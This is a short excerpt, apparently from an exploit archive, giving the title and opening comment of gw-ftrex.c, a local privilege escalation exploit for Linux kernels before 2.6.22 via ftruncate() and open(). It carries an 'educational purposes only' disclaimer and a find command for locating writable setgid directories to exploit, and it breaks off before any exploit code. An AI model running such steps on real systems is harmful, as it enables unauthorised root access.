Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation

/ gw-ftrex.c: Linux kernel bug information: http://osvdb.org/49081 !!!This is for educational purposes only!!! To use it, you've got to find a sgid directory you've got permissions to write into obviously world-writable, e.g: find / -perm -2000 -type d 2/dev/null|xargs ls -ld|grep "rwx" which...